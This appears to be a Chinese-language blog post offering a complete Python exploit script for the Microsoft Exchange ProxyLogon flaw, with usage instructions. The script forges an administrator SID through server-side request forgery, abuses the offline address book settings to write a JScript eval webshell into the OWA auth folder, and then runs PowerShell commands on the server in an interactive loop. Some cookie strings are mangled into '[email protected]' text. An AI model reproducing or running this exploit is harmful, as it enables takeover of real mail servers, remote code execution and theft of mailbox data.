前言:我最喜欢代理了
代码
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys
import os
import time
import webbrowser
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
if len(sys.argv) < 2:
print("Usage: python proxylogin.py exchange.local [email protected]")
exit()
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
payload_name = "shell.aspx"
random_name = id_generator(3) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0"
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\%s" % payload_name
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
shell_content = '<script language="JScript" runat="server"> function Page_Load(){eval(Request["data"],"unsafe");}</script>'
legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a"
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
""" % email
print("Target: " + target)
print("=============================")
print("[+] Attempting SSRF")
FQDN = "%s" % target
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
"User-Agent": user_agent},
verify=False)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
FQDN = ct.headers["X-FEServer"]
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent},
data=autoDiscoverBody,
verify=False
)
if ct.status_code != 200:
print("Autodiscover Error!")
exit()
if "<LegacyDN>" not in ct.content:
print("Can not get LegacyDN!")
exit()
legacyDn = ct.content.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
print("DN: " + legacyDn)
mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "[email protected]%s:444/mapi/[email protected]&a=~1942062522;" % FQDN,
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{C715155F-2BE8-44E0-BD34-2960067874C8}:2",
"User-Agent": user_agent},
data=mapi_body,
verify=False
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in ct.content:
print("Mapi Error!")
exit()
sid = ct.content.split("with SID ")[1].split(" and MasterAccountSid")[0]
if sid.rsplit("-",1)[1] == '500':
print("SID: " + sid)
if sid.rsplit("-",1)[1] != '500':
print("Original SID: " + sid)
sid = sid.rsplit("-",1)[0] + '-500'
print("Corrected SID: " + sid)
print("[+] SSRF Successful!")
print("[+] Attempting Arbitrary File Write")
# proxyLogon_request = """<r at="Negotiate" ln="administrator"><s>%s</s></r>""" % sid
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "[email protected]%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"msExchLogonAccount": "%s" % sid,
"msExchLogonMailbox": "%s" % sid,
"msExchTargetMailbox": "%s" % sid,
"Content-Type": "text/xml",
"User-Agent": user_agent
},
data=proxyLogon_request,
verify=False
)
#print(ct.status_code)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("[-] Proxylogon Error!")
exit()
sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("SessionID: " + sess_id)
print("CanaryToken: " + msExchEcpCanary)
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "[email protected]%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, sess_id, msExchEcpCanary),
"msExchLogonAccount": "%s" % sid,
"msExchLogonMailbox": "%s" % sid,
"msExchTargetMailbox": "%s" % sid,
"User-Agent": user_agent
},
verify=False
)
if ct.status_code != 200:
print("[+] Wrong canary!")
print("[+] Sometime we can skip this ...")
rbacRole = ct.content.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "[email protected]%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonAccount": "%s" % sid,
"msExchLogonMailbox": "%s" % sid,
"msExchTargetMailbox": "%s" % sid,
"User-Agent": user_agent
},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
verify=False
)
if ct.status_code != 200:
print("[-] GetOAB Error!")
exit()
oabId = ct.content.split('"RawIdentity":"')[1].split('"')[0]
print("OABId: " + oabId)
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "https://ffff/#%s" % shell_content}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "[email protected]%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonAccount": "%s" % sid,
"msExchLogonMailbox": "%s" % sid,
"msExchTargetMailbox": "%s" % sid,
"User-Agent": user_agent
},
json=oab_json,
verify=False
)
if ct.status_code != 200:
print("[-] Set external url Error!")
exit()
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "[email protected]%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonAccount": "%s" % sid,
"msExchLogonMailbox": "%s" % sid,
"msExchTargetMailbox": "%s" % sid,
"User-Agent": user_agent
},
json=reset_oab_body,
verify=False
)
if ct.status_code != 200:
print("[-] Error writing the shell. Status code returned " + ct.status_code)
exit()
print("[+] Success! Entering webshell. Type 'quit' or 'exit' to escape.\n")
cmd = "a"
while not cmd == "exit" or cmd == "quit":
cmd = raw_input("# ")
if cmd == "exit" or cmd == "quit":
exit(0)
command = requests.post("https://%s/owa/auth/%s" % (target, payload_name), headers={
"Host": "%s" % FQDN,
"User-Agent": user_agent,
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests": "1"
},
data= """data=Response.Write(new ActiveXObject("WScript.Shell").exec("powershell.exe -command %s").stdout.readall());""" % cmd,
verify=False
)
if command.status_code != 200:
print("[-] Error running command. Status code %s") % command.status_code
if command.status_code == 500:
print("[-] Maybe AV is killing it?")
exit()
output = command.content.split('Name :')[0]
print(output)
用法:保存以上代码改名为proxylogin.py,此程序运行后会在目标站点和服务器生成一个规避的webshell。终端输入以下运行。
python proxylogin.py <name or IP of server> <[email protected]>